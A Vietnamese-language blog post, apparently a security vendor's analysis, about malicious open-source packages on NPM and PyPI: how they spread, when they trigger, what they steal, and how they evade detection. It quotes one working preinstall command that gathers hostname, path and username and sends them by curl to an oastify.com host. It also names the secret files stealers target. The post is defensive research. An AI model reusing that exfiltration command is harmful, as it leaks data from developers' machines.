Trong tập trước, Các gói phần mềm độc hại mã nguồn mở: Vấn đềChúng tôi đã thảo luận về lý do tại sao các tác nhân đe dọa lại như vậy. Hào hứng với việc phát hành các thành phần độc hại mới hoặc chèn phần mềm độc hại vào các phiên bản mới nhất của các thành phần hiện có: Cơ sở hạ tầng mã nguồn mở cho phép bất kỳ ai ở bất cứ đâu tạo ra một tài khoản tạm thời. Trong kho lưu trữ linh kiện (như NPM, PyPI, Docker Hub hoặc Visual Studio Marketplace) hoặc nền tảng phát triển hợp tác (như GitHub). Không tốn chi phí, và có nhiều cơ hội để tận dụng sự tin tưởng quá mức mà các nhóm phần mềm thường dành cho các linh kiện của bên thứ ba.
Sự bất đối xứng giữa việc tin tặc dễ dàng phát tán phần mềm độc hại bằng cách sử dụng cơ sở hạ tầng có sẵn cho mã nguồn mở và việc các tổ chức phát triển phần mềm (ai cũng vậy?) khó tránh khỏi bị nhiễm phần mềm độc hại (và phát tán phần mềm độc hại trong phần mềm mà họ phân phối cho người khác), đã dẫn đến việc gần đạt mốc 250.000 gói phần mềm độc hại vào năm ngoái.
Đây là một vấn đề có tầm cỡ đến mức không một tổ chức nào có thể giải quyết được, và cộng đồng đang trong quá trình định hình lại quy trình mã nguồn mở liên quan đến sự tin cậy, các nguyên tắc bảo mật mặc định và bảo mật ngay từ khâu thiết kế, cũng như vòng đời của các thành phần. Chúng ta sẽ xem xét những ý tưởng này trong tập tiếp theo. Bảo vệ chống lại các gói phần mềm độc hại mã nguồn mở: Những gì (không) hiệu quả.
Hãy nhớ rằng chúng ta đang nói về các thành phần phần mềm mà hầu hết thời gian chúng tương ứng với gói phần mềm: các thành phần có thể tái sử dụng được đóng gói để có thể tham chiếu chúng như một phần phụ thuộc trong bản kê khai phần mềm và được cài đặt bằng trình quản lý gói hoặc công cụ xây dựng. Xin lưu ý rằng trường hợp này có thể được mở rộng để bao gồm các thành phần công khai. hình ảnh container (được sử dụng bởi các môi trường chạy container và nền tảng điều phối như Kubernetes), và các phần mở rộng cho các công cụ phần mềm (dành cho việc xây dựng, tự động hóa và triển khai).
Ở đây chúng ta sẽ phân tích cách thức này chiến thuật tấn công dựa trên các thành phần độc hại Phương pháp này hoạt động hiệu quả, dựa trên các ví dụ trước đây và những gì chúng tôi đã thấy trên nền tảng Cảnh báo sớm phần mềm độc hại của mình. (MEW). Chúng ta sẽ phân tích các thành phần độc hại ở nhiều khía cạnh khác nhau:
(1) cách thức phân phối được lựa chọn (đăng ký được sử dụng, trong một thành phần mới hoặc hiện có và kỹ thuật được sử dụng để lây nhiễm phiên bản thành phần đã xuất bản), (2) cách thức phần mềm độc hại được kích hoạt hoặc gây ra, (3) hành vi độc hại, tức là những hành động gây hại nào được quan sát và động cơ của kẻ tấn công là gì, (4) những kỹ thuật nào thường được sử dụng để che giấu, ẩn mình để không bị phát hiện, di chuyển ngang, liên lạc với máy chủ điều khiển (C2), v.v.; và (5) các kỹ thuật để đạt được đủ sự phổ biến và lòng tin để nạn nhân cuối cùng cài đặt thành phần đó.
Cơ chế phân phối được lựa chọn
Chúng tôi quan sát thấy một “tiếng ồn nền"Đây là hiện tượng các gói phần mềm độc hại đơn giản sử dụng thủ đoạn chiếm đoạt tên miền (typosquatting) để lừa đảo các nhà phát triển thiếu cảnh giác bằng lỗi chính tả trong tên gói phần mềm phụ thuộc của chúng. Nhiều gói phần mềm phổ biến nhận được hàng loạt gói có tên tương tự nhưng chứa lỗi chính tả, với mục đích lừa đảo một số nhà phát triển thiếu cảnh giác."
Họ sử dụng một tài khoản tạm thời, phát hành một nhóm các gói phần mềm giả mạo tên miền, tạo một tài khoản khác và phát hành một nhóm khác nữa… Bằng cách sử dụng một số công nghệ tự động hóa và sự khéo léo, họ có thể đạt được độ tinh vi nhất định, nhưng thông thường chúng khá đơn giản. Chúng tôi gọi nội bộ chúng là “cá cơmMục tiêu chính là đánh cắp thông tin đăng nhập, nhưng đôi khi chúng ta cũng bắt gặp phần mềm gián điệp đánh cắp mã nguồn hoặc dữ liệu nhạy cảm như thông tin nhận dạng cá nhân (PII), sao chép nội dung clipboard và các hoạt động đáng ngờ khác.
Bất ngờ xuất hiện những thành phần độc hại tinh vi hơn, được gọi là "cá mập". Một số ít nhắm mục tiêu vào các nhóm hoặc tổ chức cụ thể, thường là các phần mềm hút tiền điện tử hoặc phần mềm đánh cắp thông tin web được kích hoạt có điều kiện, có lẽ theo cách tiếp cận đã thấy trong... sự cố luồng sự kiện Việc giải mã tải trọng tấn công chỉ được thực hiện khi gói tin được tham chiếu từ gói tin mục tiêu.
Cơ chế phân phối đã được phân tích trong bài báo xuất sắc và nay đã trở thành kinh điển, “Bộ sưu tập dao của kẻ đâm sau lưng: Đánh giá về các cuộc tấn công chuỗi cung ứng phần mềm mã nguồn mở"Đây là bài viết nhất định phải đọc. Chắc hẳn bạn đã từng thấy biểu đồ hay này trước đây rồi:

Tất cả các phương án đều được xem xét, bao gồm cả các gói phần mềm mới và hiện có; tác động đến mã nguồn, hệ thống xây dựng hoặc chính thành phần được đóng gói; sử dụng thông tin đăng nhập bị đánh cắp hoặc kỹ thuật xã hội; chiếm đoạt các tài khoản và kho lưu trữ bị bỏ hoang hoặc làm suy yếu các tài khoản và kho lưu trữ đang được duy trì. Một số cuộc tấn công đã được đặt tên (typosquatting, Sự nhầm lẫn phụ thuộc, Sự nhầm lẫn rõ ràng, Cướp tài sản thế chấp(v.v.) và đã được thảo luận ở nơi khác.
Còn về các cơ quan đăng ký đã được lựa chọn thì sao?
NPM tiếp tục dẫn đầu về tổng số gói phần mềm độc hại, nhưng chúng ta đã thấy sự gia tăng đột biến bắt đầu từ năm nay trên PyPI. Python là một hệ sinh thái phổ biến cho khoa học dữ liệu và máy học. Trên thực tế, mật độ phần mềm độc hại hiện nay cao hơn trên PyPI so với NPM.
Cơ chế kích hoạt phần mềm độc hại
Các gói phần mềm độc hại chỉ được kích hoạt trong quá trình cài đặt ở 4 trên 10 trường hợp (trong những năm gần đây con số này gần 6 trên 10). Phần còn lại thực hiện hành vi độc hại trong quá trình chạy, với 1 trên 100 trường hợp được kích hoạt trong khi chạy thử nghiệm. Có vẻ như các đối thủ biết rằng việc thực thi không kiểm soát các tập lệnh cài đặt đã bị vô hiệu hóa ở nhiều nơi.
Bọn xấu sẽ nhận được gì?
Chúng tôi sẽ liệt kê các loại hành vi độc hại, loại phổ biến nhất sẽ được liệt kê trước. Xin lưu ý rằng tác động có thể rất khác nhau: a khăn lau Nó có tính chất phá hoại dai dẳng, nhưng không phổ biến và chỉ được thấy trong một vài trường hợp, liên quan đến các chiến dịch chiến tranh mạng có chủ đích hoặc hoạt động hacktivism tàn bạo. Các loại sau đây khá phổ biến:
- Kẻ đánh cắp thông tin / Trình thu thập thông tin xác thựcCho đến nay, loại tấn công phổ biến nhất, chiếm hơn 90% các cuộc tấn công không tinh vi, là các phần mềm đánh cắp thông tin đăng nhập đơn giản, chủ yếu tìm kiếm các thông tin đăng nhập như mật khẩu, mã truy cập, khóa API và khóa riêng tư (cho SSH và các loại tương tự). Có lẽ đây là loại phần mềm dễ viết nhất (cùng với phần mềm xóa dữ liệu?). Chúng liệt kê các tệp/thư mục đã biết và các nguồn khác (ví dụ: khóa registry), đóng gói nội dung và gửi dữ liệu đó đến máy chủ C2. Ý tưởng rất đơn giản: “Tôi phát hành một phần mềm đánh cắp thông tin đăng nhập để lừa đảo, để sau này tôi có thể sử dụng thông tin đăng nhập đó để thực hiện một cuộc tấn công có chủ đích”.
Mạng lưới C2 thường được sử dụng có quy mô nhỏ và sơ sài, chẳng hạn như các kênh Telegram hoặc công cụ đường hầm giống ngrok (thường ở dạng proxy ngược được hiển thị thông qua địa chỉ IP đầu ra của VPN). Có hàng trăm (!) khả năng, với nhiều dự án GitHub thuộc... chủ đề đánh cắp mật khẩuCác chuyên môn hóa như phần mềm ghi lại thao tác bàn phím (keylogger) hiếm gặp trong các gói phần mềm độc hại và ảnh container, nhưng lại phổ biến hơn trong các tiện ích mở rộng công cụ, nơi người dùng tương tác là điều được mong đợi.
- Trình thả ảnh/Trình tải xuốngTấn công giai đoạn hai là hình thức phổ biến thứ hai, thường xuất hiện đầu tiên trong các cuộc tấn công đa giai đoạn. Hơn một phần ba các thành phần độc hại có trình thả (nếu tải trọng độc hại được bao gồm trong gói) hoặc trình tải xuống (tải trọng được tải xuống từ một điểm cuối do kẻ tấn công kiểm soát). Tải trọng thường là một biến thể phần mềm độc hại nhị phân đã biết, và nó được chạy và đôi khi được duy trì, để cài đặt cửa hậu, phần mềm gián điệp, phần mềm hút tiền điện tử và các trường hợp sử dụng khác. Tải trọng được tải xuống hoặc triển khai bắt đầu cuộc tấn công giai đoạn hai với tất cả sức mạnh được cung cấp bởi các tệp nhị phân phần mềm độc hại hiện có. Các tệp nhị phân có thể được phân phối trong gói, thường được ngụy trang dưới dạng hình ảnh hoặc các loại tệp được cho là vô hại, để tránh bị phát hiện khi kết nối với các trang web không mong muốn.
- Kẻ trộm/khai thác tiền điện tửCác đối thủ có động cơ tài chính sẵn sàng sử dụng tài nguyên đám mây của bạn để chạy phần mềm khai thác tiền điện tử (chúng thậm chí còn phát hiện ra chúng đang chạy trong máy ảo đám mây). Chúng không quan tâm đến... tỷ lệ lợi nhuận thấp Cứ mỗi 53 đô la mà nạn nhân phải trả cho cơ sở hạ tầng đám mây bị đánh cắp thì sẽ được tính thêm 1 đô la. Nạn nhân có thể không biết điều này cho đến khi nhận được hóa đơn bất ngờ. May mắn thay, điều này thỉnh thoảng mới xảy ra. Cryptojacking Các chiến dịch trong các gói phần mềm độc hại thỉnh thoảng xuất hiện rồi biến mất, nhằm mục đích lừa đảo người dùng ví điện tử hoặc cuối cùng nhắm vào nhà cung cấp ví điện tử, như trong trường hợp này. Cuộc tấn công sổ cái.
Các hành vi khác, chẳng hạn như triển khai một cửa sau Việc thực thi mã từ xa bằng cách mở một shell đảo ngược hiện nay ít phổ biến hơn so với trước đây. Ví dụ, 123rf_contributor_web gói (hiện đã bị xóa khỏi registry) mở mà không cần mã hóa, một shell đảo ngược được sao chép và dán từ... Bảng tóm tắt lệnh đảo ngược vỏ sò:

Bên cạnh các thành phần hợp pháp và độc hại, chúng tôi đã phát hiện một số hành vi lạm dụng, bao gồm:
Gói thư rác
Có hàng ngàn gói tin nhỏ, chủ yếu ở định dạng NPM, không chứa phần mềm độc hại nhưng hứa hẹn kiếm tiền dễ dàng, những lời hứa hão huyền, các liên kết đến các sản phẩm Viagra, và đủ thứ tương tự. Một vài người dùng đăng tải những tin nhắn rác như vậy và chiếm dụng rất nhiều băng thông của máy chủ. Một hoặc nhiều đối tượng khác, có thể đến từ Indonesia, đã cố gắng trục lợi bằng cách này. lạm dụng teaRank Mục đích của việc này là để bồi thường cho các nhà phát triển mã nguồn mở, bằng cách tạo ra hàng chục nghìn gói NPM có liên quan với nhau, kèm theo các kho lưu trữ giả trên GitHub. Đây là hành vi vi phạm rõ ràng các điều khoản sử dụng.
Các trò lừa đảo về chương trình tìm lỗi bảo mật và nghiên cứu an ninh mạng.
Khi một gói phần mềm tự mô tả mình là đang trích xuất dữ liệu cho các mục đích tốt, chẳng hạn như phát hiện các lỗ hổng bảo mật cho các chương trình tìm lỗi hoặc nghiên cứu các khía cạnh nhất định của hệ sinh thái. Chúng tôi đã thấy hàng ngàn gói phần mềm thuộc loại này, chúng lấy thông tin nhận dạng nhưng không quá nhạy cảm về địa chỉ Burp Collaborator từ PortSwigger (ví dụ: máy chủ trong miền oastify.com). Chúng tôi thường xuyên quan sát thấy các phiên bản sao chép của... Sự nhầm lẫn phụ thuộc Bản thử nghiệm ý tưởng của Alex Birsan, giống như... aurora-webmail-pro gói (đã bị xóa khỏi registry), chỉ đơn giản là chạy đoạn mã độc hại này trong tập lệnh trước khi cài đặt:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") Và cũng bao gồm một “Đây là bằng chứng về khái niệm tấn công gây nhầm lẫn phụ thuộc đơn giản.phần mô tả tuyên bố miễn trừ trách nhiệm trong package.jsonĐây là hành vi vi phạm rõ ràng các điều khoản dịch vụ, ngay cả khi không có ý định xấu.
Tin tốt là gì? Chúng ta chưa thấy (cho đến nay) các cuộc tấn công ransomware được thực hiện thông qua các thành phần độc hại. Vì những lý do chưa rõ, tội phạm mạng dường như thích các cơ chế phân phối truyền thống hơn như lừa đảo qua email, dựa trên RDP và tải xuống tự động.
Các kỹ thuật bổ sung được quan sát

Nhiều kỹ thuật đã được sử dụng để duy trì sự hiện diện, né tránh phòng thủ, thu thập thông tin, liên lạc với máy chủ điều khiển và trích xuất dữ liệu.
Persistence Trong các thành phần độc hại, khả năng duy trì hoạt động được tạo ra bằng cách sử dụng các tính năng trong phần mềm độc hại nhị phân giai đoạn hai, nhưng đôi khi hành vi này nằm trong mã gói, với các tác vụ theo lịch trình và thay đổi trong sổ đăng ký Windows là phổ biến nhất.
Obfuscation Điều này khá phổ biến, nhưng không tinh vi. Hầu hết các gói phần mềm chiếm đoạt tên miền bằng lỗi chính tả (hãy nhớ dấu “cá cơm(?) không sử dụng bất kỳ kỹ thuật làm mờ mã nào; nhiều hacker sử dụng các kỹ thuật đơn giản (mã hóa base64/hex hoặc mã hóa thay thế như rot13) hoặc sử dụng các công cụ làm mờ và thu nhỏ mã có sẵn, những công cụ này dễ dàng được đảo ngược với sự hỗ trợ của các chuyên gia. Chỉ có các hacker "cá mập" mới thực hiện các kỹ thuật làm mờ mã thực sự, chuyên sâu, rất khó để đảo ngược kỹ thuật.
Việc làm rối mã có thể che giấu cuộc tấn công, nhưng tại sao mã trong một thành phần mã nguồn mở lại cần phải được làm rối? Có bằng chứng nào cho thấy điều gì đó cần phải được che giấu khỏi tầm nhìn rõ ràng không? Chúng tôi đã tìm thấy nhiều trường hợp các gói phần mềm không độc hại sử dụng kỹ thuật làm rối mã để bảo vệ tài sản trí tuệ, điều này mâu thuẫn với khái niệm "mã nguồn mở". Việc làm rối mã có thể được sử dụng làm bằng chứng về phần mềm độc hại, nhưng nó không mang tính kết luận. Việc giải mã cũng rất khó khăn.
Evasion Các biện pháp kiểm soát phòng thủ áp dụng những kỹ thuật đơn giản. Mã độc thường được bảo vệ trong... thử… bắt Các khối này bỏ qua mọi ngoại lệ, do đó hoạt động bất thường không được hiển thị trong nhật ký. Việc xác minh môi trường (chạy trong máy ảo hoặc container) rất hiếm khi được thực hiện, trừ khi đó là phần mềm độc hại nhắm mục tiêu vào một tổ chức hoặc môi trường cụ thể.
Việc ngụy trang các mã nhị phân trong hình ảnh và tệp PDF (một dạng kỹ thuật giấu tin) là một phương pháp khác được sử dụng để tránh bị phát hiện.
Vì các thành phần độc hại phổ biến nhất là phần mềm đánh cắp thông tin, thu thập dữ liệu Việc bảo mật là rất cần thiết. Các bí mật (mật khẩu, mã truy cập, khóa API, khóa mã hóa) thường xuyên được quét trong các tệp nhật ký, biến môi trường và thậm chí cả clipboard (như đã thấy với các phần mềm độc hại ngân hàng và phần mềm đánh cắp mã hóa). Việc đánh cắp mã nguồn cũng rất phổ biến, vì việc cài đặt gói thường được thực hiện trên một máy chủ phát triển nơi các kho lưu trữ Git nội bộ có thể được sao chép. Chúng tôi đã thấy các gói liệt kê các thư mục để tìm kiếm các kho lưu trữ Git. Việc tìm kiếm các vị trí như .env, private.pem, settings.py, app.js hoặc application.properties là khá phổ biến.
Đánh cắp dữ liệu là một hành động được sử dụng rộng rãi khác. Chỉ một số ít gói phần mềm độc hại cố gắng che giấu đích đến của dữ liệu được trích xuất. Các kênh Telegram và đường hầm giống ngrok thường được sử dụng. Và có rất nhiều Các tên miền thường được đưa vào danh sách trắng được sử dụng để rò rỉ dữ liệu..
Các kỹ thuật khác, như leo thang đặc quyền hoặc chuyển đổi vị trí ngang cấp, ít phổ biến hơn.
Đang ngày càng được yêu mến và tin tưởng.
Hãy tưởng tượng một tên tội phạm công nghệ với một thứ vũ khí độc hại đã được chế tạo sẵn đang tự hỏi: "Làm thế nào để biến thứ rác rưởi này trở nên đáng tin cậy đối với những kẻ ngốc không hề hay biết?".
Điều đó có nghĩa là làm thế nào để mục nhập cho thành phần độc hại hiển thị nhiều lượt đánh dấu sao/lượt chia sẻ (thể hiện mức độ phổ biến), cùng với các phiên bản/vấn đề và pull requests (cho hoạt động). Ý tưởng là để đạt được sự nổi tiếng giả tạo (ngôi sao) và người phụ thuộc, cũng như tạo ra vẻ ngoài thuyết phục về tầm quan trọng và khả năng duy trì.
Hệ thống đăng ký không kiểm tra xem nội dung trong dự án GitHub và nội dung gói có trùng khớp hay không.Đây là một vấn đề đã được biết đến rộng rãi trong chuỗi cung ứng phần mềm. Các kho lưu trữ công cộng là những hố đen khổng lồ nuốt chửng mọi thứ được ném vào chúng. Bạn có thể liên kết đến bất kỳ kho lưu trữ nào.

Nếu gói phần mềm độc hại lợi dụng lỗi chính tả để chiếm đoạt một kho lưu trữ phổ biến, điều đó rất dễ: chỉ cần tham chiếu đến kho lưu trữ GitHub hiện có trong tệp kê khai phụ thuộc được sử dụng để tạo gói và xuất bản nó lên registry. Đối với các gói mới trên một kho lưu trữ GitHub giả mạo, bạn có thể cần nhiều sự khéo léo hơn, có lẽ cần tạo ra các kho lưu trữ giả mạo. ngắm sao/phân nhánh Tài khoản GitHub thông qua lập trình.
Và nếu nội dung gói phần mềm của bạn tương đối giống với kho lưu trữ, hãy khéo léo thêm vào một vài thay đổi nhỏ… Bạn có thể chèn phần mềm độc hại của mình vào một gói phần mềm mới giống với một gói phổ biến, tham chiếu đến kho lưu trữ của gói hiện có, và chờ đợi những lỗi chính tả. Nếu ai đó dám so sánh nội dung của gói phần mềm đã nén với nội dung từ kho lưu trữ GitHub, sự khác biệt tại các điểm chèn phần mềm độc hại có thể dễ dàng bị bỏ sót. Chúng ta đã thấy cách tiếp cận này nhiều lần trước đây.
Một cơ chế cho phép một linh kiện đưa ra tuyên bố chống giả mạo về nguồn gốc, cách thức đóng gói, từ những nguồn nào và do ai sản xuất, sẽ rất được hoan nghênh. Nhưng đó lại là một câu chuyện khác.
Liệu thành phần X có phải là phần mềm độc hại không?
Có cơ sở dữ liệu (toàn diện) về các gói phần mềm độc hại không? Không. Các lỗ hổng bảo mật mã nguồn mở được gán mã CVE, nhưng chỉ một số ít gói phần mềm độc hại (đặc biệt là những gói gây chú ý) được cấp mã này. Mã CWE cho các gói phần mềm độc hại là CWE-506 (mã độc được nhúng).
Các công cụ phát hiện phần mềm độc hại thông thường (VirusTotal, MalwareBazaar, SOREL-20M…) không có chức năng cụ thể nào để phát hiện các thành phần độc hại. Điều đó sẽ rất đáng hoan nghênh!
Có các cơ sở dữ liệu mẫu nghiên cứu và tập dữ liệu để phân tích (chúng tôi sử dụng một vài trong số đó), nhưng các mục chỉ được cập nhật khi gói phần mềm độc hại được xác định, điều này thường là quá muộn. Nếu bạn quan tâm, OpenSSF Gói tin độc hại Đó là một khởi đầu tốt.
Trong bài viết tiếp theo, chúng ta sẽ thảo luận về cách nhận biết một gói phần mềm cụ thể có độc hại hay không. Tiết lộ trước: đúng vậy, có những cách kiểm tra các thành phần độc hại ngay từ giai đoạn đầu, trước khi registry loại bỏ một thành phần độc hại đã biết.
Đọc thêm
Trong tập tiếp theo “Bảo vệ chống lại các gói phần mềm độc hại mã nguồn mở: Những gì (không) hiệu quả" Chúng ta sẽ thảo luận về những điều nên và không nên làm trong bảo mật mã nguồn mở. Hầu hết các chuyên gia am hiểu về an ninh đều có trực giác về cách xử lý mối đe dọa này, nhưng vẫn còn nhiều hiểu lầm.
Chúng ta sẽ xem xét tại sao những ý tưởng này lại sai lầm, và làm thế nào những quan niệm sai lầm đó góp phần vào sự phổ biến của cơ chế tấn công này, cũng như rủi ro to lớn mà các tổ chức đang phải đối mặt. Sau đó, chúng ta sẽ xem xét những gì thực sự hiệu quả, và những nỗ lực cũng như nguồn lực cần thiết.
Ngoài ra, chúng tôi cũng sẽ đăng tải thông tin về sự phát triển của các gói phần mềm độc hại xét về mục đích, cơ chế lây nhiễm và các kỹ thuật tấn công.
Hãy theo dõi!






